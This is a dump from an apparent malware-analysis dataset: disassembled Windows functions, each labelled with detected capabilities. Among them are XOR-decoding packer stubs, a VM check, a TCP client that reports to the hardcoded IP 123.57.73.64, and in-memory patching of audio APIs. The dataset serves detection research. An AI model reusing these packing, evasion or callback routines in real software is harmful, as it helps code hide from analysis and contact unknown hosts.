joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41c2f3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41c390
push ebx
push esi
call fcn.0041c2bc
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041af41
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41c33d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41c38f
push edi
push eax
call fcn.00417979
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41c35d
call fcn.0041477b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41c38e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041af41
add esp, 0x20
test eax, eax
jne 0x41c37c
push edi
call fcn.0041477b
jmp 0x41c384
push ebx
call fcn.0041477b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x421875
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004217f1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4219ed
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4219ed
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x42199c
jg 0x4218ce
test eax, eax
je 0x421992
push 1
push 0x1000
call fcn.004147b5
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4218f4
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x421989
push 0x8000
push ebx
call fcn.00411c84
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x421920
jg 0x42191b
cmp ecx, 0x1000
jb 0x421920
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00416016
add esp, 0x10
cmp eax, 0xffffffff
je 0x421965
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x42191b
jl 0x42194c
test ecx, ecx
jne 0x42190d
push dword [ebp - 0xc]
push ebx
call fcn.00411c84
push esi
call fcn.0041477b
add esp, 0xc
xor edi, edi
jmp 0x4219fe
cmp byte [edi + 0x24], 0
je 0x42197c
cmp dword [edi + 0x20], 5
jne 0x42197c
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x421987
mov edi, dword [edi + 0x18]
jmp 0x421989
xor edi, edi
push esi
call fcn.0041477b
pop ecx
jmp 0x4219fe
test ecx, ecx
jg 0x42195e
jl 0x42199c
test eax, eax
jae 0x42195e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041779a
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4219bf
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x42195e
jmp 0x4219f6
push ebx
call fcn.0041cb16
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x42195e
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x4219fe
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4219fb
mov edi, dword [edi + 0x18]
jmp 0x4219fe
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0041779a
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x422410
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42243d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42243d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x412769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x416190
cmp edx, dword [eax]
je 0x41278b
add eax, 8
inc ecx
cmp eax, 0x416220
jl 0x41277c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x416190]
jne 0x4128b9
mov eax, dword [0x416bb0]
cmp eax, 1
je 0x412893
test eax, eax
jne 0x4127bc
cmp dword [0x4160e4], 1
je 0x412893
cmp edx, 0xfc
je 0x4128b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4127f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00413670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00413490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x412836
lea eax, [ebp - 0x1a4]
push eax
call fcn.00413490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x41545c
push edi
call fcn.00413f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00413670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00413680
lea eax, [ebp - 0xa0]
push 0x41543c
push eax
call fcn.00413680
push dword [esi + 0x416194]
lea eax, [ebp - 0xa0]
push eax
call fcn.00413680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00413e75
add esp, 0x2c
pop edi
jmp 0x4128b9
lea eax, [ebp + 8]
lea esi, [esi + 0x416194]
push 0
push eax
push dword [esi]
call fcn.00413490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x433000
Capabilities:
Check for vm using instruction vpcext
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0xfb23157
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..didat
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x61f10b98
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x4a779c1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x7b65026d
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x41cd60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
lea eax, [esp]
push esi
push eax
push str.SoftwareAnalog_DevicesSMax4PNPSettings
mov esi, ecx
push 0x80000002
mov dword [esp + 0x14], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x41cdbb
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push str.Speaker_Configuration
push ecx
mov dword [esp + 0x24], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 8]
mov ecx, esi
push eax
call fcn.0041cdd0
pop esi
add esp, 0x10
ret

Function at 0x41cf80
Capabilities:
Set registry value

Disassembly:
push ecx
push esi
lea eax, [esp + 4]
push edi
push eax
push str.SoftwareAnalog_DevicesSMax4PNPSettings
mov esi, ecx
push 0x80000002
xor edi, edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x41cfce
mov edx, dword [esp + 8]
lea ecx, [esp + 0x10]
push 4
push ecx
push 4
push eax
push str.Speaker_Configuration
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x41cfc3
mov edi, 1
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi + 8]
test eax, eax
je 0x41cfe9
mov eax, dword [esp + 0x14]
test eax, eax
je 0x41cfe9
mov ecx, dword [esp + 0x10]
push ecx
mov ecx, esi
call fcn.0041d010
test edi, edi
pop edi
pop esi
je 0x41d005
mov edx, dword [0x42c1e8]
push 0
push 0
push edx
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
pop ecx
ret 8

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x56fc06c2
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x11cd290c
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4012c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
mov eax, dword [0x4590c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x45c8d8]
mov ecx, dword [0x45c8dc]
push esi
push edi
push 0x3f
lea edx, [ebp - 0x47]
push 0
push edx
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], ecx
mov byte [ebp - 0x48], 0
call fcn.00433910
push 0x3f
lea eax, [ebp - 0x87]
push 0
push eax
mov byte [ebp - 0x88], 0
call fcn.00433910
add esp, 0x18
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x4013c9
mov ecx, 2
push str.123.57.73.64
mov word [ebp - 0x98], cx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x7c0
mov dword [ebp - 0x94], eax
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea edx, [ebp - 0x9c]
push edx
push 0x1005
push 0xffff
push esi
mov word [ebp - 0x96], ax
mov dword [ebp - 0x9c], 0x7d0
call edi
cmp eax, 0xffffffff
je 0x4013c9
push 4
lea eax, [ebp - 0x9c]
push eax
push 0x1006
push 0xffff
push esi
mov dword [ebp - 0x9c], 0x7d0
call edi
cmp eax, 0xffffffff
je 0x4013c9
push 0x10
lea ecx, [ebp - 0x98]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4013de
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00430f3e
mov esp, ebp
pop ebp
ret
push 0x40
lea edx, [ebp - 0x48]
push 0
push edx
call fcn.00433910
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0xa0]
push edx
mov edx, dword [ebp - 0xa4]
push eax
push ecx
push edx
lea eax, [ebp - 0x48]
push str._I64d__I64d__I64d
push eax
call fcn.00431589
lea eax, [ebp - 0x48]
add esp, 0x2c
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401420
push 0
sub eax, edx
push eax
lea ecx, [ebp - 0x48]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4013c2
push 0
push 0xa
lea edx, [ebp - 0x88]
push edx
push esi
mov edi, 1
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, edi
jne 0x40146c
lea eax, [ebp - 0x88]
push eax
call fcn.0043162e
add esp, 4
test eax, eax
jne 0x40146c
xor edi, edi
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.00430f3e
mov esp, ebp
pop ebp
ret
Function at 0x401c60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401c78
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401caa
mov ecx, dword [ebp + 8]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x401ca6
cmp esi, eax
jae 0x401caa
dec edi
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401c98
cmp esi, eax
jb 0x401cb0
pop esi
xor eax, eax
pop edi
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret
Function at 0x407540
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4483a6
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x4590c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x45cbf8]
mov ecx, dword [eax + 4]
push ecx
mov ecx, 0x45cbf4
call fcn.0040cf20
mov eax, dword [0x45cbf8]
mov dword [eax + 4], eax
mov eax, dword [0x45cbf8]
mov dword [eax], eax
mov eax, dword [0x45cbf8]
push 0
mov dword [eax + 8], eax
push 2
mov dword [0x45cbfc], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x40771f
lea edx, [ebp - 0x240]
push edx
push esi
mov dword [ebp - 0x240], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x407718
lea edi, [ebp - 0x21c]
shr edi, 0x10
mov dword [ebp - 0x248], edi
jmp 0x4075f6
mov edi, dword [ebp - 0x248]
mov eax, dword [section..data]
mov edx, dword [eax + 0xc]
mov ecx, section..data
call edx
lea ebx, [eax + 0x10]
mov dword [ebp - 0x244], ebx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x21c]
test edi, edi
jne 0x40763b
movzx edi, ax
call fcn.00401be0
test eax, eax
je 0x40766a
push eax
mov eax, edi
lea edi, [ebp - 0x244]
call fcn.00401d90
jmp 0x407664
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x407640
sub eax, edx
lea ecx, [ebp - 0x21c]
sar eax, 1
push ecx
lea edx, [ebp - 0x244]
push edx
mov ebx, eax
call fcn.00402080
mov ebx, dword [ebp - 0x244]
mov ecx, 1
mov dword [ebp - 4], ecx
mov edi, dword [ebx - 0xc]
test edi, edi
js 0x40773b
mov eax, dword [ebx - 8]
sub ecx, dword [ebx - 4]
sub eax, edi
or eax, ecx
jge 0x40769c
mov eax, edi
lea ecx, [ebp - 0x244]
call fcn.00402000
mov ebx, dword [ebp - 0x244]
lea eax, [edi + 1]
push eax
push ebx
call fcn.00431ff3
add esp, 8
cmp edi, dword [ebx - 8]
jg 0x40773b
xor ecx, ecx
mov dword [ebx - 0xc], edi
lea edx, [ebp - 0x244]
mov word [ebx + edi*2], cx
push edx
mov ecx, 0x45cbf4
call fcn.0040e7b0
push eax
push 0x45cbf4
lea edi, [ebp - 0x250]
call fcn.0040ed60
lea eax, [ebp - 0x240]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov edi, eax
lea eax, [ebx - 0x10]
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x407710
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test edi, edi
jne 0x4075f0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00430f3e
mov esp, ebp
pop ebp
ret
push 0x80070057
call fcn.00402060
int3
Function at 0x40b3c0
Capabilities:
Create directory
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x446fb3
mov eax, dword fs:[0]
push eax
sub esp, 0x120
mov eax, dword [0x4590c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
push 0x103
lea eax, [ebp - 0x117]
push edi
mov dword [ebp - 4], edi
push eax
mov byte [ebp - 0x118], 0
call fcn.00433910
add esp, 0xc
push edi
push 0x23
lea ecx, [ebp - 0x118]
push ecx
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
push str.SQ_PlatForm
lea edx, [ebp - 0x118]
push edx
call esi
lea eax, [ebp - 0x12c]
push eax
lea ecx, [ebp - 0x118]
push ecx
mov dword [ebp - 0x12c], 0xc
mov dword [ebp - 0x128], edi
mov dword [ebp - 0x124], edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.UContext
lea edx, [ebp - 0x118]
push edx
call esi
lea eax, [ebp - 0x118]
push 0x44ea84
push eax
call fcn.00431883
mov ebx, eax
add esp, 8
mov dword [ebp - 0x11c], ebx
cmp ebx, edi
je 0x40b56c
call fcn.00414bd0
mov edi, edx
mov edx, dword [section..data]
mov esi, eax
mov eax, dword [edx + 0xc]
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x120], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp + 8]
push ecx
push edi
push esi
push str._I64d__s
lea edi, [ebp - 0x120]
call fcn.0040e740
mov edi, dword [ebp - 0x120]
add esp, 0x10
test edi, edi
jne 0x40b4dd
xor ecx, ecx
jmp 0x40b52a
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jg 0x40b526
lea ebx, [eax + eax]
mov eax, ebx
call fcn.004384a0
mov esi, esp
test esi, esi
je 0x40b520
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push edi
push 0
push 3
mov byte [esi], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, dword [ebp - 0x11c]
neg eax
sbb eax, eax
and eax, esi
jmp 0x40b528
mov ebx, dword [ebp - 0x11c]
xor eax, eax
mov ecx, eax
mov eax, ecx
lea esi, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40b530
push ebx
sub eax, esi
push eax
push 1
push ecx
call fcn.004319f1
push ebx
call fcn.00431ad8
lea eax, [edi - 0x10]
add esp, 0x14
mov byte [ebp - 4], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40b56c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40b592
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea esp, [ebp - 0x13c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00430f3e
mov esp, ebp
pop ebp
ret 4
Function at 0x410300
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x446bfa
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x4590c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov eax, dword [edi]
sub eax, 0x10
call fcn.00401a60
add eax, 0x10
mov dword [esi], eax
mov dword [ebp - 4], 0
mov eax, dword [edi + 4]
sub eax, 0x10
call fcn.00401a60
add eax, 0x10
mov dword [esi + 4], eax
mov byte [ebp - 4], 1
mov eax, dword [edi + 8]
sub eax, 0x10
call fcn.00401a60
add eax, 0x10
mov dword [esi + 8], eax
mov byte [ebp - 4], 2
mov eax, dword [edi + 0xc]
sub eax, 0x10
call fcn.00401a60
add eax, 0x10
mov dword [esi + 0xc], eax
mov byte [ebp - 4], 3
mov eax, dword [edi + 0x10]
sub eax, 0x10
call fcn.00401a60
add eax, 0x10
mov dword [esi + 0x10], eax
mov byte [ebp - 4], 4
mov eax, dword [edi + 0x14]
sub eax, 0x10
call fcn.00401a60
add eax, 0x10
mov dword [esi + 0x14], eax
mov byte [ebp - 4], 5
mov eax, dword [edi + 0x18]
sub eax, 0x10
call fcn.00401a60
add eax, 0x10
mov dword [esi + 0x18], eax
mov byte [ebp - 4], 6
mov eax, dword [edi + 0x1c]
sub eax, 0x10
call fcn.00401a60
add eax, 0x10
mov dword [esi + 0x1c], eax
mov eax, dword [edi + 0x20]
mov dword [esi + 0x20], eax
mov ecx, dword [edi + 0x24]
mov dword [esi + 0x24], ecx
mov edx, dword [edi + 0x28]
mov dword [esi + 0x28], edx
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
mov ecx, dword [edi + 0x30]
mov dword [esi + 0x30], ecx
mov edx, dword [edi + 0x34]
mov dword [esi + 0x34], edx
mov eax, dword [edi + 0x38]
mov dword [esi + 0x38], eax
mov ecx, dword [edi + 0x3c]
mov dword [esi + 0x3c], ecx
mov edx, dword [edi + 0x40]
mov dword [esi + 0x40], edx
mov eax, dword [edi + 0x44]
mov dword [esi + 0x44], eax
mov ecx, dword [edi + 0x48]
mov dword [esi + 0x48], ecx
mov edx, dword [edi + 0x4c]
mov dword [esi + 0x4c], edx
mov eax, dword [edi + 0x50]
mov dword [esi + 0x50], eax
mov ecx, dword [edi + 0x54]
mov dword [esi + 0x54], ecx
mov edx, dword [edi + 0x58]
mov dword [esi + 0x58], edx
mov eax, dword [edi + 0x5c]
mov dword [esi + 0x5c], eax
mov ecx, dword [edi + 0x60]
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0x64]
mov dword [esi + 0x64], edx
mov eax, dword [edi + 0x68]
mov dword [esi + 0x68], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x412990
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push str.DSound.dll
mov word [ebp - 4], 0xcc2
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x412ad2
push esi
push edi
push str.DirectSoundCreate
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, eax
test edi, edi
je 0x4129ee
lea eax, [ebp - 8]
push eax
push 0x40
push 3
push edi
call esi
mov cx, word [ebp - 4]
lea edx, [ebp - 8]
push edx
push 0x20
push 3
xor al, al
mov word [edi], cx
push edi
mov byte [edi + 2], al
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.Winmm.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
je 0x412ac9
push str.midiStreamOpen
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.midiStreamOut
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov eax, dword [ebp - 0x10]
push str.waveOutWrite
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
test edi, edi
je 0x412a61
lea ecx, [ebp - 8]
push ecx
push 0x40
push 3
push edi
call esi
mov dx, word [ebp - 4]
xor al, al
mov word [edi], dx
mov byte [edi + 2], al
lea eax, [ebp - 8]
push eax
push 0x20
push 3
push edi
call esi
test ebx, ebx
je 0x412a87
lea ecx, [ebp - 8]
push ecx
push 0x40
push 3
push ebx
call esi
mov dx, word [ebp - 4]
xor al, al
mov word [ebx], dx
mov byte [ebx + 2], al
lea eax, [ebp - 8]
push eax
push 0x20
push 3
push ebx
call esi
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x412ab3
lea ecx, [ebp - 8]
push ecx
push 0x40
push 3
push eax
call esi
mov eax, dword [ebp - 0xc]
mov dx, word [ebp - 4]
xor cl, cl
mov word [eax], dx
mov byte [eax + 2], cl
lea ecx, [ebp - 8]
push ecx
push 0x20
push 3
push eax
call esi
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret